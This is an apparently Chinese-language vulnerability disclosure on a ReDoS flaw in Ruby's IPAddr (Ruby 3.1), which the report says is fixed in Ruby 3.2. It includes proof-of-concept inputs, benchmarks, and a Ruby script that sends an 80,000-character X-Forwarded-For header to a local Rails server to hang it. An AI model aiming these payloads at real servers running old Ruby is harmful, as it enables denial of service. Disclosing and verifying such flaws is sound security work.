Ruby | 报告 #1485717 - IPAddr中的ReDoS漏洞
漏洞概述
在Ruby的IPAddr库中发现了一个正则表达式拒绝服务(ReDoS)漏洞。该漏洞存在于IPAddr.new方法中,具体涉及以下正则表达式模式:
技术细节
漏洞位置
文件: lib/ipaddr.rb
行号: 525
1
2
3
4
5
6
|
def mask!(mask)
case mask
when String
case mask
when /\A(0|[1-9]+\d*)\z/
prefixlen = mask.to_i
|
该正则表达式容易受到ReDoS攻击,这是通过recheck工具(https://makenowjust-labs.github.io/recheck/)检测发现的。
调用路径
在IPAddr.new方法中调用了存在漏洞的mask!方法:
1
2
3
4
5
6
7
8
9
10
|
def initialize(addr = '::', family = Socket::AF_UNSPEC)
# ...
prefix, prefixlen = addr.split('/', 2)
# ...
if prefixlen
mask!(prefixlen)
else
@mask_addr = (@family == Socket::AF_INET) ? IN4MASK : IN6MASK
end
end
|
PoC验证
基本PoC
1
2
3
4
5
6
7
8
|
❯ ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]
❯ irb
irb(main):001:0> require 'time'
=> true
irb(main):002:0> IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
# => 发生ReDoS (并抛出ArgumentError)
|
影响范围
由于coerce_other方法也使用了该功能,因此还会影响其他方法:
1
2
3
4
|
IPAddr.new("192.168.2.0/24").include?("0.0.0.0/" + '1' * 50000 + '.' )
IPAddr.new("192.168.2.0/24") == "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") | "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") & "0.0.0.0/" + '1' * 50000 + '.'
|
性能基准测试
测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
require 'benchmark'
require 'ipaddr'
def ipaddr_new(length)
text = "0.0.0.0/" + '1' * length + '.'
IPAddr.new(text)
rescue IPAddr::InvalidAddressError
nil
end
Benchmark.bm do |x|
x.report { ipaddr_new(100) }
x.report { ipaddr_new(1000) }
x.report { ipaddr_new(10000) }
x.report { ipaddr_new(100000) }
end
|
Ruby 3.1.1测试结果
1
2
3
4
5
6
|
❯ bundle exec ruby ipaddr_benchmark.rb
user system total real
0.000056 0.000003 0.000059 ( 0.000055)
0.002921 0.000003 0.002924 ( 0.002968)
0.300863 0.000694 0.301557 ( 0.302580)
31.050866 0.103006 31.153872 ( 31.255489)
|
Rails框架影响
受影响组件
由于ActionDispatch::RemoteIp使用了IPAddr,因此可以通过自定义标头进行攻击:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
private
def ips_from(header) # :doc:
return [] unless header
# 将逗号分隔的列表拆分为字符串数组
ips = header.strip.split(/[,\s]+/)
ips.select do |ip|
# 只返回通过IPAddr#new方法有效的IP
range = IPAddr.new(ip).to_range
# 确保没有人潜入网络掩码
range.begin == range.end
rescue ArgumentError
nil
end
end
|
Rails PoC
创建Rails服务器:
1
2
3
|
❯ rails new rails_server -G -M -O -C -A -J -T
❯ cd rails_server
❯ bundle exec rails s
|
攻击代码:
1
2
3
4
5
6
7
8
|
require 'net/http'
url = URI.parse('http://127.0.0.1:3000/')
req = Net::HTTP::Get.new(url.path)
req['X-Forwarded-For'] = "0.0.0.0/" + '1' * 80000 + '.'
res = Net::HTTP.start(url.host, url.port) {|http|
http.request(req)
}
|
执行时间:
1
2
|
❯ time bundle exec ruby ipaddr_request.rb
bundle exec ruby ipaddr_request.rb 0.18s user 0.08s system 0% cpu 40.302 total
|
影响评估
当IPAddr.new接受用户输入时会发生ReDoS。Rails默认使用ActionDispatch::RemoteIp,因此可以通过客户端请求进行攻击。
如果使用nginx等,标头长度限制在约8k字节,因此影响较小。而Puma由于可以使用高达80 * 1024字节,因此容易受到影响。
修复情况
Ruby 3.2.0修复
在Ruby 3.2.0中,ReDoS问题已得到解决:
1
2
3
4
5
6
7
|
# Ruby 3.2.0
❯ bundle exec ruby ipaddr_benchmark.rb
user system total real
0.000033 0.000001 0.000034 ( 0.000031)
0.000056 0.000077 0.000133 ( 0.000134)
0.000385 0.000050 0.000435 ( 0.000435)
0.003579 0.000456 0.004035 ( 0.004035)
|
Ruby 3.3.0确认
在Ruby 3.3.0中确认ReDoS不再发生:
1
2
3
4
5
6
7
|
# Ruby 3.3.0
❯ ruby ipaddr_benchmark.rb
user system total real
0.000044 0.000008 0.000052 ( 0.000051)
0.000073 0.000007 0.000080 ( 0.000079)
0.000565 0.000050 0.000615 ( 0.000614)
0.005460 0.000551 0.006011 ( 0.006022)
|
解决方案
该问题已通过Ruby 3.2的正则表达式优化得到解决,且Ruby 3.1现已EOL(生命周期结束)。无需进一步处理。